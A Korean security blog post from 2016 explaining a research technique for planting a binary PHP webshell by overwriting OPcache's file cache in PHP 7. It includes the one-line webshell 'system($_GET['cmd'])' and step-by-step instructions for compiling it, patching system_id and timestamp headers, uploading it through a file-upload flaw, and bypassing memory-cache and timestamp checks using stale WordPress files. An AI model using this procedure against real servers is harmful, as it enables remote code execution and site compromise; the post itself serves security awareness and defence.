상세 컨텐츠

본문 제목

PHP7중 OPcache를 통한 바이너리 Webshell

국내외 보안동향

by 알약(Alyac) 2016. 5. 3. 09:00

본문

PHP7중 OPcache를 통한 바이너리 Webshell 

Binary Webshell Through OPcache in PHP 7


OPcache란 PHP 7.0에 내장된 새로운 캐시엔진입니다. 이는 PHP스크립트 코드를 컴파일 할 때 사용되며, 컴파일 후 결과를 바이트 코드 형태로 메모리에 저장합니다. OPcache는 미리 컴파일 된 PHP 스크립트를 공유메모리 중에 캐싱하는 형태로 PHP의 성능을 높혀주며, 이는 매번 로딩해야 하는 번거로움과 PHP 스크립트의 오버헤드를 줄여줍니다. 



이밖에도 문서 시스템의 캐시 기능을 제공하는데, PHP.ini 설정파일 내 캐시정보의 해당 폴더경로를 지정해 두어야 합니다. 


opcache.file_cache=/tmp/opcache


위에 해당 폴더 중, OPcache는 컴파일 된 PHP 스크립트를 상응하는 PHP 스크립트의 동일한 목록 구조중에 저장합니다. 예를 들어, var/www/index.php의 컴파일 버전은 /tmp/opcache/[system_id]/var/www/index.php.bin에 저장이 될 것입니다. 


언급된 문서경로 중 system_id는 이 전 PHP버전의 정보,Zend 프레임워크의 확장 ID 및 각종 데이터 유형 정보의 MD5 값을 포함합니다. 가장 최신버전의 Ubuntu(16.04)중의 system_id는 현재의 Zend 프레임워크,PHP 버전으로 구성되어 있습니다. OPcache가 이러한 문서들을 대상으로 캐싱을 할 때 문서 시스템 중 상응하는 리스트을 만들게 됩니다. 또한 각 Opcache문서는 문서의 header 영역에 system_id의 복사본을 저장합니다. 


여기에서 우리는 OPcache 폴더를 언급하지 않을 수 없습니다. 그 중 가장 흥미로운 것은, 사용자가 해당 서비스를 시작할 때 사용자는 OPcache가 생성한 모든 폴더 혹은 파일(/tmp/opcache/하위에 있는 폴더 혹은 파일)에 대한 쓰기 권한을 갖게됩니다. 


OPcache 폴더 중 권한정보는 다음과 같습니다.  


$ ls /tmp/opcache/

drwx------ 4 www-data www-data 4096 Apr 26 09:16  81d80d78c6ef96b89afaadc7ffc5d7ea


여기서 볼 수 있듯이, www-data그룹에 속해있는 사용자들은 모두 OPcache가 생성한 폴더 혹은 문서에 쓰기권한을 갖게 됩니다. 만약 우리가 OPcache 리스크에 쓰기 권한을 갖고 있다면, 우리는 리스트 중의 캐시문서를 수정할 수 있고 webshell을 이용하여 임의의 코드를 실행시킬 수 있습니다. 


공격 시나리오


우선 우리는 반드시 캐싱 문서가 저장되는 경로(/tmp/opcache/[system_id]) 및 타겟 PHP 문서의 경로(/var/www/...)를 알아야 합니다. 


이해를 돕기 위하여 우리는 웹페이지 리스트 중 phpinfo()라는 문서가 존재하며, 우리는 이 문서에서 캐싱폴더와 소스코드 하일 저장 위치를 확보할 수 있습니다. 우리가 system_id를 추측할 때 이러한 정보가 필요합니다. 우리는 이미 phpinfo()중에서 정보를 찾아내고, system_id를 추측해 낼 수 있는 툴을 만들었으며, 해당 툴은 Github에 업로드 해 놓았습니다. 


여기에서 주의할 점은, 타겟으로 하는 홈페이지의 문서업로드 권한에 아무런 제한이 없어야 합니다. 


우리는 php.ini중 기본적으로 설정되어 있는 정보들 이외에, 다음과 같은 설정 정보를 추가하였습니다. 


opcache.validate_timestamp = 0    ; PHP 7's default is 1

opcache.file_cache_only = 1       ; PHP 7's default is 0

opcache.file_cache = /tmp/opcache


그 후 공격 과정은 다음과 같습니다. 


우리는 이미 홈페이지 중에서 파일 업로드 취약점을 찾았습니다. 우리의 목표는 백도어 악성코드가 포함되어 있는 문서를 이용하여 /tmp/opcache/[system_id]/var/www/index.php.bin을 대체하는 것입니다. 



1) 로컬에 Webshell이 포함된 악성 php 문서를 만들고, 해당 파일명을 "index.php"로 명명합니다. 


<?php

   system($_GET['cmd']);

?>


2) opcache.file_cache에 관련된 설정을 우리가 만든 PHP.ini 파일에 추가합니다. 


3) php -S 127.0.0.1:8080 명령을 실행하여 web 서버를 실행하며, 그 후 서버에 index.php 문서를 요청하여 캐시 엔진을 트리거 합니다. 


4) 첫번째 스텝에서 설정한 캐시 문서파일을 보면, index.php.bin 문서를 발견할 수 있을 것입니다. 이는 컴파일 된 버전의 webshell 입니다. 



위 이미지는 OPcache가 생성한 index.php.bin 파일입니다. 


5. 로컬 system_id는 타겟 시스템의 system_id와 다를 수 이기 때문에, 우리는 반드시 index.php.bin 문서를 열어 우리의 system_id를 타겟 시스템의 system_id로 수정해주어야 합니다. 앞서 말한 것처럼 system_id는 추측가능 합니다. 우리는 문서의 디지털 서명 후의 system_id를 수정할 수 있습니다. 



위 이미지에서 system_id의 정보 저장위치를 확인할 수 있습니다. 


6. 타겟으로 하는 홈페이지가 파일 업로드에 대하여 어떠한 제제도 가하지 않기 때문에, 우리는 해당 문서를 서버에 업로드 할 수 있습니다. 


/tmp/opcache/[system_id]/var/www/index.php.bin


7. 홈페이지의 index.php를 새로고침 하면 홈페이지는 자동으로 우리가 업로드 한 webshell을 실행할 것입니다. 



메모리 캐시파일 우회(file_cache_only = 0)


만약 메모리캐시가 파일 캐시보다 우선순위에 있을 경우, 우리가 수정한 OPcache문서는 우리의 webshell 파일을 실행하지 않을 것 입니다. 만약 서버 호스팅 웹사이트에 파일 업로드 취약점이 있다면, 서버가 재부팅 후 우리는 이 제한을 우회할 수 있습니다. 캐시 메모리가 비워진 만큼, OPcache는 문서 캐시을 통하여 메모리 캐시를 채우려고 하기 때문에, 우리의 webshell을 실행시키고자 하는 목적을 달성할 수 있습니다. 


이는 즉 우리가 서버를 재부팅 시키지 않는 상황에서도 Webshell을 실행시킬 수 있다는 것을 뜻합니다. 


WordPress 등과 같은 홈페이지 프레임워크 중 사용되지 않는 파일들 같은 경우 공개적으로 접근이 가능합니다. 


해당 문서들은 이미 사용되지 않기 때문에, 시스템에서는 해당 문서들을 더이상 로드하지 않습니다. 이는 즉 캐시와 문서 시스템의 캐시 중 해당 문서가 존재하지 않는다는 뜻힙니다. 우리는 악성코드(registration-functions.php.bin)를 업로드 한 후, 관련 페이지를 접속한다면, OPcache는 자동으로 우리의 Webshell을 실행할 것입니다. 


타임스탬프 우회 (validate_timestamps = 1)


만약 타임스탬프가 유효하면 OPcache는 요청된 PHP 소스 파일의 타임스탬프를 확인하고, 타임스탬프 헤더 필드에 있는 캐시파일과 비교를 합니다. 만약 매치가 되지 않는다면 캐시 파일을 버리고 새로운 파일을 생성합니다. 이러한 제한을 우회하기 위해서 공격자는 반드시 타겟으로 하는 소스 파일의 타임스탬프를 알고있어야 합니다. 


워드프레스와 같은 웹페이지 프레임워크 중에서 원본 문서의 타임스탬프는 얻을 수 있는 정보입니다. 왜냐하면 개발자들이 해당 코드들의 압축을 해제하여도 타임스탬프는 변하지 않기 때문입니다. 



위 이미지는 WordPress/wp-includes 폴더 중 파일들 입니다. 


흥미로운 것은 저 파일 중 몇몇 파일들은 2012년도부터 어떠한 수정도 하지 않은 두개(registration-functions.php和registration.php)의 파일들이 있습니다.이는 즉 각기 다른 워드프레스 버전들에서도, 해당 문서들의 타임스탬프는 동일하다는 뜻입니다. 문서의 타임스탬프 정보를 얻은 후 공격자들은 그들의 악성코드를 수정할 수 있으며, 성공적으로 서버의 캐시데이터에 덮어씌울 수 있습니다. 타임스탬프 정보는 문서의 헤더부분의 34바이트에 위치하고 있습니다. 



결론


결론적으로, 이런 새로운 공격방식은 PHP로 개발된 프로그램에 어떠한 영향도 미치지 않습니다. PHP의 취약점이 아니기 때문입니다. 현재 많은 Linux 배포판(예를들어 Ubuntu 16.04)들은 모두 기본적으로 PHP7를 탑재하고 있습니다.


그렇기 때문에 서버에 업로드 취약점이 존재하는지 여부를 확인하여 이러한 공격을 사전에  차단해야 합니다. 


출처 : 

http://blog.gosecure.ca/2016/04/27/binary-webshell-through-opcache-in-php-7/

관련글 더보기

댓글 영역